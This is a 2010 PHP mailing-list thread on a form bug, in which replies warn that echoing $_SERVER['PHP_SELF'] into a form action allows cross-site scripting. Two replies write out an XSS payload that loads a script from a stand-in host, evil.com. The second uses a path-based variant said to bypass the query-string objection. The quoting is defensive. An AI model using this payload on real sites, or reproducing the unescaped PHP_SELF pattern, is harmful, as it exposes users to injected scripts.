Re: Division by 0

On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <dmitry@ruban.biz> wrote: > Hi Jochem, > > Jochem Maas wrote: >> >> Op 3/10/10 6:23 PM, Joseph Thayne schreef: >>> >>> Looks to me like you are closing your form before you put anything in >>> it.  Therefore, the loan_amount is not set making the value 0.  Follow >>> the math, and you are dividing by 1-1. >>> >>> Change this line: >>> >>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" >>> method="post"></form> >>> >>> to: >>> >>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" >>> method="post"> >> >> this is a XSS waiting to happen. I can put something like the following in >> the request uri: >> >> index.php?" onsubmit="evil()"><script >> >> src="http://www.evil.com/evi.js"></script> >> > Apparently it's not going to work. PHP_SELF does not include query string.. > So it is safe to use it this way. > > Regards, > Dmitry No, it is not safe... This won't work: index.php?" onsubmit="evil()"><script src="http://www.evil.com/evi.js"></script> But this will: index.php/" onsubmit="evil()"><script src="http://www.evil.com/evi.js"></script> -- Daniel Egeberg